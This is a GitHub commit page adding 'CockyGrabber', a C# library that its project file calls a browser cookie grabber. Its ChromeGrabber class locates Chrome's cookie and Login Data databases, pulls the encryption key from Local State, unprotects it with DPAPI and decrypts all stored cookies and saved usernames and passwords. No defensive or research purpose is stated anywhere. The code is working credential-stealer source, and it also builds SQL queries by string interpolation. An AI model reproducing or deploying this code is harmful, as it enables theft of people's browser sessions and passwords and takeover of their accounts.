Skip to content

Commit 03bd3c3

Browse files
authored
Add files via upload
1 parent 449cd8f commit 03bd3c3

File tree

12 files changed

+1018
-0
lines changed

12 files changed

+1018
-0
lines changed

CockyGrabber/CockyGrabber.sln

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
2+
Microsoft Visual Studio Solution File, Format Version 12.00
3+
# Visual Studio Version 16
4+
VisualStudioVersion = 16.0.29806.167
5+
MinimumVisualStudioVersion = 10.0.40219.1
6+
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "CockyGrabber", "CockyGrabber\CockyGrabber.csproj", "{E194B0D0-605B-4A80-9ADA-4F9E76F60586}"
7+
EndProject
8+
Global
9+
GlobalSection(SolutionConfigurationPlatforms) = preSolution
10+
Debug|Any CPU = Debug|Any CPU
11+
Release|Any CPU = Release|Any CPU
12+
EndGlobalSection
13+
GlobalSection(ProjectConfigurationPlatforms) = postSolution
14+
{E194B0D0-605B-4A80-9ADA-4F9E76F60586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15+
{E194B0D0-605B-4A80-9ADA-4F9E76F60586}.Debug|Any CPU.Build.0 = Debug|Any CPU
16+
{E194B0D0-605B-4A80-9ADA-4F9E76F60586}.Release|Any CPU.ActiveCfg = Release|Any CPU
17+
{E194B0D0-605B-4A80-9ADA-4F9E76F60586}.Release|Any CPU.Build.0 = Release|Any CPU
18+
EndGlobalSection
19+
GlobalSection(SolutionProperties) = preSolution
20+
HideSolutionNode = FALSE
21+
EndGlobalSection
22+
GlobalSection(ExtensibilityGlobals) = postSolution
23+
SolutionGuid = {545248D5-A288-4CA3-BAA2-240EA06A595A}
24+
EndGlobalSection
25+
EndGlobal
Lines changed: 221 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,221 @@
1+
using CockyGrabber.Classes;
2+
using Newtonsoft.Json.Linq;
3+
using Org.BouncyCastle.Crypto;
4+
using Org.BouncyCastle.Crypto.Engines;
5+
using Org.BouncyCastle.Crypto.Modes;
6+
using Org.BouncyCastle.Crypto.Parameters;
7+
using System;
8+
using System.Collections.Generic;
9+
using System.IO;
10+
using System.Linq;
11+
using System.Security.Cryptography;
12+
using System.Text;
13+
using Cookie = CockyGrabber.Classes.Cookie;
14+
15+
// Using:
16+
// Org.BouncyCastle
17+
// Microsoft.Win32
18+
// System.Security.Cryptography
19+
20+
namespace CockyGrabber
21+
{
22+
public class ChromeGrabber
23+
{
24+
public string ChromeCookiePath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Cookies";
25+
public string ChromeKeyPath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Local State";
26+
public string ChromePasswordPath = @"C:\Users\" + Environment.UserName + @"\AppData\Local\Google\Chrome\User Data\Default\Login Data";
27+
28+
29+
/// <summary>
30+
/// Returns a value depending on if the File "Cookies" was found
31+
/// </summary>
32+
/// <returns>true if Cookies was found and false if not</returns>
33+
public bool CookiesExists()
34+
{
35+
if (File.Exists(ChromeCookiePath))
36+
return true;
37+
return false;
38+
}
39+
40+
/// <summary>
41+
/// Returns a value depending on if the File "Login Data" was found
42+
/// </summary>
43+
/// <returns>true if Cookies was found and false if not</returns>
44+
public bool PasswordsExists()
45+
{
46+
if (File.Exists(ChromePasswordPath))
47+
return true;
48+
return false;
49+
}
50+
51+
/// <summary>
52+
/// Returns a value depending on if the File "Local State" was found
53+
/// </summary>
54+
/// <returns>true if File was found and false if not</returns>
55+
public bool KeyExists()
56+
{
57+
if (File.Exists(ChromeKeyPath))
58+
return true;
59+
return false;
60+
}
61+
62+
63+
public List<Cookie> GetCookiesByHostname(string hostName, byte[] key)
64+
{
65+
List<Cookie> cookies = new List<Cookie>();
66+
if (hostName == null) throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null
67+
if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
68+
69+
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromeCookiePath};pooling=false"))
70+
using (var cmd = conn.CreateCommand())
71+
{
72+
cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies WHERE host_key = '{hostName}'";
73+
74+
conn.Open();
75+
using (var reader = cmd.ExecuteReader())
76+
{
77+
while (reader.Read())
78+
{
79+
cookies.Add(new Cookie()
80+
{
81+
Name = reader.GetString(0),
82+
Value = DecryptWithKey((byte[])reader[1], key, 3),
83+
HostName = reader.GetString(2)
84+
});
85+
}
86+
}
87+
conn.Close();
88+
}
89+
return cookies;
90+
}
91+
public List<Cookie> GetAllCookies(byte[] key)
92+
{
93+
List<Cookie> cookies = new List<Cookie>();
94+
if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
95+
96+
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromeCookiePath};pooling=false"))
97+
using (var cmd = conn.CreateCommand())
98+
{
99+
cmd.CommandText = $"SELECT name,encrypted_value,host_key FROM cookies";
100+
101+
conn.Open();
102+
using (var reader = cmd.ExecuteReader())
103+
{
104+
while (reader.Read())
105+
{
106+
cookies.Add(new Cookie()
107+
{
108+
Name = reader.GetString(0),
109+
Value = DecryptWithKey((byte[])reader[1], key, 3),
110+
HostName = reader.GetString(2)
111+
});
112+
}
113+
}
114+
conn.Close();
115+
}
116+
return cookies;
117+
}
118+
119+
public List<Passwords> GetPasswordByHostname(string hostName, byte[] key)
120+
{
121+
List<Passwords> password = new List<Passwords>();
122+
if (hostName == null) throw new ArgumentNullException("hostName"); // throw ArgumentNullException if hostName is null
123+
if (!CookiesExists()) throw new FileNotFoundException("Cant find cookie store", ChromePasswordPath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
124+
125+
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromePasswordPath};pooling=false"))
126+
using (var cmd = conn.CreateCommand())
127+
{
128+
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins WHERE origin_url = '{hostName}'";
129+
130+
conn.Open();
131+
using (var reader = cmd.ExecuteReader())
132+
{
133+
while (reader.Read())
134+
{
135+
password.Add(new Passwords()
136+
{
137+
url = reader.GetString(0),
138+
password = DecryptWithKey((byte[])reader[2], key, 3),
139+
username = reader.GetString(1)
140+
});
141+
}
142+
}
143+
conn.Close();
144+
}
145+
return password;
146+
}
147+
public List<Passwords> GetAllPasswords(byte[] key)
148+
{
149+
List<Passwords> password = new List<Passwords>();
150+
if (!PasswordsExists()) throw new FileNotFoundException("Cant find password store", ChromeCookiePath); // throw FileNotFoundException if "Chrome\User Data\Default\Cookies" not found
151+
152+
using (var conn = new System.Data.SQLite.SQLiteConnection($"Data Source={ChromePasswordPath};pooling=false"))
153+
using (var cmd = conn.CreateCommand())
154+
{
155+
cmd.CommandText = $"SELECT origin_url,username_value,password_value FROM logins";
156+
157+
conn.Open();
158+
using (var reader = cmd.ExecuteReader())
159+
{
160+
while (reader.Read())
161+
{
162+
password.Add(new Passwords()
163+
{
164+
url = reader.GetString(0),
165+
password = DecryptWithKey((byte[])reader[2], key, 3),
166+
username = reader.GetString(1)
167+
});
168+
}
169+
}
170+
conn.Close();
171+
}
172+
return password;
173+
}
174+
175+
176+
/// <summary>
177+
/// Gets the key to decrypt a DB Value
178+
/// </summary>
179+
/// <returns>Key to decrypt DB Value</returns>
180+
public byte[] GetKey()
181+
{
182+
string encKey = File.ReadAllText(ChromeKeyPath); // reads the file (string)
183+
encKey = JObject.Parse(encKey)["os_crypt"]["encrypted_key"].ToString(); // parses the string
184+
return ProtectedData.Unprotect(Convert.FromBase64String(encKey).Skip(5).ToArray(), null, DataProtectionScope.LocalMachine); // decrypts the key and returns a byte Array
185+
}
186+
187+
private string DecryptWithKey(byte[] msg, byte[] key, int nonSecretPayloadLength)
188+
{
189+
const int KEY_BIT_SIZE = 256;
190+
const int MAC_BIT_SIZE = 128;
191+
const int NONCE_BIT_SIZE = 96;
192+
193+
if (key == null || key.Length != KEY_BIT_SIZE / 8)
194+
throw new ArgumentException($"Key needs to be {KEY_BIT_SIZE} bit!", "key");
195+
if (msg == null || msg.Length == 0)
196+
throw new ArgumentException("Message required!", "message");
197+
198+
using (var cipherStream = new MemoryStream(msg))
199+
using (var cipherReader = new BinaryReader(cipherStream))
200+
{
201+
var nonSecretPayload = cipherReader.ReadBytes(nonSecretPayloadLength);
202+
var nonce = cipherReader.ReadBytes(NONCE_BIT_SIZE / 8);
203+
var cipher = new GcmBlockCipher(new AesEngine());
204+
var parameters = new AeadParameters(new KeyParameter(key), MAC_BIT_SIZE, nonce);
205+
cipher.Init(false, parameters);
206+
var cipherText = cipherReader.ReadBytes(msg.Length);
207+
var plainText = new byte[cipher.GetOutputSize(cipherText.Length)];
208+
try
209+
{
210+
var len = cipher.ProcessBytes(cipherText, 0, cipherText.Length, plainText, 0);
211+
cipher.DoFinal(plainText, len);
212+
}
213+
catch (InvalidCipherTextException)
214+
{
215+
return null;
216+
}
217+
return Encoding.Default.GetString(plainText);
218+
}
219+
}
220+
}
221+
}
Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,13 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Text;
4+
5+
namespace CockyGrabber.Classes
6+
{
7+
public class Cookie
8+
{
9+
public string HostName { get; set; }
10+
public string Name { get; set; }
11+
public string Value { get; set; }
12+
}
13+
}
Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
using System;
2+
using System.Collections.Generic;
3+
using System.Linq;
4+
using System.Text;
5+
using System.Threading.Tasks;
6+
7+
namespace CockyGrabber.Classes
8+
{
9+
public class Passwords
10+
{
11+
public string url { get; set; }
12+
public string username { get; set; }
13+
public string password { get; set; }
14+
}
15+
}
Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
<Project Sdk="Microsoft.NET.Sdk">
2+
3+
<PropertyGroup>
4+
<TargetFramework>netstandard2.0</TargetFramework>
5+
<Authors>TheBackdoor</Authors>
6+
<Company>Void</Company>
7+
<Description>CockyGrabber is a Browser Cookie Grabber C#.NET Library.</Description>
8+
<PackageTags>cookie, cock, hack, hacks, lol, lmao, lmfao, LLLMFAO, however, ok, so, lemme, do, wait, a, sec, bruh, ohk, cya,</PackageTags>
9+
<PackageReleaseNotes>I dont give a fuck</PackageReleaseNotes>
10+
<RepositoryUrl>https://github.com/TheBackdoor/CockyGrabber</RepositoryUrl>
11+
</PropertyGroup>
12+
13+
<ItemGroup>
14+
<PackageReference Include="BouncyCastle" Version="1.8.6.1" />
15+
<PackageReference Include="Newtonsoft.Json" Version="12.0.3" />
16+
<PackageReference Include="System.Data.SQLite" Version="1.0.113.1" />
17+
<PackageReference Include="System.Security.Cryptography.ProtectedData" Version="4.7.0" />
18+
</ItemGroup>
19+
20+
</Project>

0 commit comments

Comments
 (0)